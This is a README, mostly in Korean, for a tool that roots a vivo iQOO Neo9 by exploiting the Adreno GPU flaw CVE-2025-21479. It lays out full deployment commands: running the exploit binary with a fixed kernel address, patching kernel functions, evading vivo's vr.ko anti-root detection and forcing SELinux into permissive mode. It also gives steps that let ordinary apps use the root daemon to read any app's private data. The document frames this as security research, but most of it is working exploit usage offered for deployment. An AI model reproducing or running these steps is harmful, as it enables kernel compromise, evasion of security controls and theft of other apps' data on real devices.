
iQOO Neo9 (PD2338C) 언락 불필요 Caps-Root 도구** — CVE-2025-21479 (Adreno GPU SDS) 기반의 임의 물리 쓰기 권한 상승 기법
iQOO Neo9 (PD2338C) 잠금 해제 불필요 Caps-Root 도구 — CVE-2025-21479 (Adreno GPU SDS) 기반 임의 물리 쓰기 권한 상승 방안
Bootloader 잠금 해제, 플래싱, Magisk가 필요 없습니다. GPU 취약점을 통해 커널 수준 임의 물리 쓰기를 획득하고, 커널 주요 함수를 패치한 뒤 전체 권한(41-bit caps) 으로 상주하는 root daemon이 되어 rootc / su에 root 능력을 제공합니다.
핵심 특징: euid를 2000으로 유지하여 vivo vr.ko 안티-root 탐지를 우회합니다(euid=0이면 기기 재부팅 유발). root 능력은 uid=0과 동일하지만 프로세스 식별은 안전합니다.
CapEff: 000001ffffffffff(41비트 전체 권한), 앱 계층 위장이 아님vr.ko 탐지 무력화, 기기 크래시 없음su 래퍼, MT 매니저 / Termux에서 직접 호출 가능⚠️ 익스플로잇은 해당 커널의 구체적인 레이아웃(심볼 오프셋,
VIVO_VMET_BREAK_KMI기능,vr.ko동작)에 의존하므로 다른 기기/커널은 재적응이 필요합니다.
# 克隆后运行 (adb 需在 PATH; 或用 $env:ADB 指定路径)
powershell -ExecutionPolicy Bypass -File scripts\run_rootc_loop.ps1
스크립트가 자동으로 다음을 수행합니다: 세 가지 파일 푸시 → 재부팅으로 콜드 윈도우 확보 → 익스플로잇 다회 실행(적중률 ~50%/회) → 데몬 준비 → 검증.
# 1. 推送 (只需一次, /data 持久)
adb push exploit\exploit_vivo_neo9 /data/local/tmp/
adb push client\rootc /data/local/tmp/
adb push client\su /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/exploit_vivo_neo9 /data/local/tmp/rootc /data/local/tmp/su"
# 2. 重启获取冷窗口 (重启后 <3 分钟内运行命中率最高)
adb reboot
# ...等待开机完成...
# 3. 启动 exploit (后台 daemon)
adb shell "cd /data/local/tmp && nohup sh -c 'CHEESE_STEXT_PA=0xa8010000 CHEESE_DAEMON=1 CHEESE_PATCH_CAP=1 ./exploit_vivo_neo9 > /data/local/tmp/exploit_daemon.log 2>&1 &'"
# 4. 等待就绪 (命中通常 10s~3min)
adb shell "cat /data/local/tmp/rootd_ready.txt"
# 输出 "ready" 即成功
# 简单命令
adb shell "/data/local/tmp/rootc id"
# 复杂命令 (Base64 编码, 避免引号问题)
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('ls -la /data/adb; dmesg | tail -5'))
adb shell "/data/local/tmp/rootc B64:$b64"
su -c "ls /data/adb" # 任意 root 命令
su -c "chown 0:0 /path/file" # 文件属主改为 root:root
su # 交互模式 (stdin 逐行)
Termux 설정: 처음 사용 시(root 권한으로) 다음을 실행해야 합니다:
# 开放队列目录写权限 + 安装 su 到 Termux PATH
su -c "chmod 1777 /data/local/tmp"
su -c "cp /data/local/tmp/su /data/data/com.termux/files/usr/bin/su && chmod 755 /data/data/com.termux/files/usr/bin/su"
MT 매니저: 설정 → ROOT → 사용자 정의 su 경로 → /data/local/tmp/su
rootc/su 환경은 의도적으로 euid=2000을 유지합니다(vr.ko 안티-root 탐지 방지). 그러나 일부 커널 인터페이스(예: /proc/vrp, 일부 sysfs 노드)의 드라이버는 current_euid()==0을 검사하므로 전체 caps로도 통과할 수 없습니다 → 이때 u0을 사용하여 rootd 환경의 CAP_SETUID를 빌려 진짜 root로 승격합니다:
# 推送 (只需一次)
adb push client\u0 /data/local/tmp/u0
adb shell "chmod 755 /data/local/tmp/u0"
# 用法: u0 <绝对路径程序> <参数...> (execv 需要绝对路径!)
$cmd = '/data/local/tmp/u0 /system/bin/sh -c "id; cat /proc/vrp 2>&1"'
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($cmd))
adb shell "/data/local/tmp/rootc B64:$b64"
# 输出: uid=0(root) gid=0(root) ... ← 真 root 会话
setuid(0)는 vr.ko fatal을 유발하지 않습니다 (rootd 메인 프로세스 자체가 uid=0으로 장기 생존; uid=0 프로세스는 처형 목록에 없음)/proc/vrp는 uid=0 + 전체 caps에서도 여전히 EPERM을 반환합니다 (vrp 드라이버는 능동적인 권한 검사가 있으며 DAC/SELinux가 아님 — 리버스 엔지니어링 진행 중); insmod는 uid=0에서도 동일하게 기기 재부팅을 유발합니다 (모듈 로드 탐지는 호출자의 uid를 확인하지 않음)docs\u0_说明.md 참조/data/local/tmp는 기본적으로 drwxrwxrwt(1777, shell 소유)입니다 — DAC 레벨에서는 모든 사용자가 읽고 쓸 수 있습니다. 일반 사용자(untrusted_app 도메인)를 실제로 막는 것은 SELinux입니다 (정책이 app 도메인의 shell_data_file 라벨 접근을 거부함):
# 1. DAC: 确保目录 1777 + 队列文件可写 (rootc 创建时已是 0666)
su -c "chmod 1777 /data/local/tmp"
# 2. SELinux: exploit 部署后处于 permissive, 无需额外操作 (permissive 不执行策略)
# ⚠️ 不要用 setenforce 0 —— vr.ko 的 avc_has_perm hook 会检测 setenforce 动作
# (kprobe 虽已中和, hfm 文本 hook 仍可能触发 fatal), 改走 exploit 的
# 物理写 permissive (run_selinux_rmw, 已内置在部署流程)
# 3. 验证 (用 app 身份 / run-as 执行 rootc)
run-as com.termux /data/local/tmp/rootc id # 或任意 app 执行
# 输出 [rc=0] 即普通用户可正常使用 root 能力
shell_data_file은 shell 도메인만 접근 가능); 재배포 후 복구됨su -c "cat /data/local/tmp/xxx > /sdcard/xxx"로 중계 (app은 /sdcard 접근에 문제 없음)su -c id # uid=2000 正常 (见 FAQ)
su -c "grep CapEff /proc/self/status" # 000001ffffffffff = 全能力
su -c "ls /data/adb" # 700 root 目录, 普通 shell 被拒
su -c "chown 0:0 /data/local/tmp/x && ls -l /data/local/tmp/x" # root 专属操作
su -c "head -5 /proc/iomem" # 内核物理内存布局
su -c "ls /data/data/<任意包名>" # 任意 app 私有数据
CVE-2025-21479 (Adreno SDS: CP_SET_DRAW_STATE 误判)
│ 特权执行 CP_SMMU_TABLE_UPDATE → SMMU TTBR0 指向伪造页表
▼
任意物理写 (fake TT0: L1/L2/L3 三级页表 + 6GB 匿名页 spray 命中)
│
├──▶ patch cap_bprm_creds_from_file 入口 (mov w0,#0; ret)
│ → exec 后保留 effective caps (普通命令也能带全 caps)
├──▶ patch kptr_restrict = 0
│ → /proc/kallsyms 全地址可见
└──▶ patch vhangup stub (MODE=10 提权)
→ fsuid/fsgid=0 + 41 位 caps, euid 保持 2000
→ fork 常驻 daemon (文件队列服务)
│
▼
rootc / su ──(文件队列 + B64)────▶ daemon ──▶ 任意 root 命令 (全 caps)
왜 euid=2000인가? vivo 커널에는 vr.ko 안티-root 모듈이 내장되어 있습니다. cred->euid==0인 비-vrp 도메인 프로세스를 감지하면 fatal(기기 재부팅)을 유발합니다. MODE=10 권한 상승은 의도적으로 euid를 변경하지 않으며, fsuid/fsgid + caps만 작성합니다 — vr.ko는 유발할 수 없지만, 커널의 capable() 검사는 모두 통과합니다(진짜 root 능력).
neo9_root/
├── README.md # 本文档
├── LICENSE # MIT
├── exploit/ # 漏洞利用
│ ├── exploit_vivo.c # 源码 (STUB_MODE=10 + daemon + cap_bprm patch)
│ ├── exploit_vivo_neo9 # 编译产物 (aarch64 musl 静态)
│ └── stubs/ # 提权 stub 汇编
├── client/ # 客户端
│ ├── rootc.c / rootc # root 命令客户端 (文件队列 + B64)
│ ├── su # su 兼容包装器 (MT/Termux)
│ ├── u0.c / u0 # euid=0 提升工具 (真 root 操作, 见"u0"章节)
│ └── shim.c / shim.so # LD_PRELOAD kptr_restrict 重定向 (ksud insmod 链路)
├── scripts/ # 部署脚本
│ ├── run_rootc_loop.ps1 # 推荐: 多轮自动部署
│ └── run_root_final.ps1 # 一键部署
├── tools/ # 内核/模块逆向分析脚本 (vr.ko 等)
├── docs/ # 调试记录
│ ├── DEBUG_RECORD.md # 完整调试记录 (崩溃根因链)
│ └── EXPLOIT0_FIX.md # exploit0 修复记录
└── archive/ # 失败方案参考 (setuid 方案等)
run_rootc_loop.ps1로 여러 번 재시도cat /proc/uptime으로 확인 (uptime이 계속 증가하고 화면이 정상이면 기기는 크래시하지 않은 것)id가 uid=2000 표시: 원리 섹션 참조, 설계상 동작; 능력은 root와 동일/data/local/tmp 권한: Termux/일반 사용자 시나리오에서는 chmod 1777 필요 ("일반 사용자 접근" 섹션 참조); SELinux는 permissive를 유지해야 함(exploit 배포 시 이미 설정됨), setenforce 0 사용 금지(vr.ko 탐지)Q: 이것은 진짜 root인가요? A: 네. 커널 capable() 검사(CapEff 전체 활성, chown 0:0, /proc/iomem 읽기, 임의 app 데이터 읽기)가 모두 통과합니다 — 커널이 root 능력을 인정하지만 uid 숫자만 2000일 뿐입니다.
Q: 벽돌이 되나요? A: 아닙니다. 어떤 파티션 쓰기도 없고 영구적인 수정도 없으며, 최악의 경우 GPU가 멈추는 정도로 재부팅하면 복구됩니다.
Q: 다른 기종을 지원하나요? A: 재적응이 필요합니다(커널 레이아웃, 심볼 오프셋, vr.ko 동작 모두 PD2338C 전용이며, vivo iQOO Neo9이고 시스템이 OriginOS 5인 경우 시도할 수 있습니다).
본 프로젝트는 보안 연구 및 개인 기기 사용 전용입니다. 본 도구 사용으로 인해 발생하는 모든 결과(기기 손상, 데이터 손실, 보증 무효 포함하되 이에 국한되지 않음)는 사용자가 부담합니다. 현지 법률과 규정을 준수하고 불법 용도로 사용하지 마십시오.
| 항목 | 값 |
|---|
| 기기 | iQOO Neo9 (PD2338C) |
| 시스템 | Android 15 |
| 커널 | 5.15.178-gaacdc35637c4-dirty (GKIv1) |
| GPU | Adreno 740 (A7xx) |
| 메모리 레이아웃 | 물리 KASLR 없음 (stext_pa=0xa8010000), VA 전체 슬라이드 |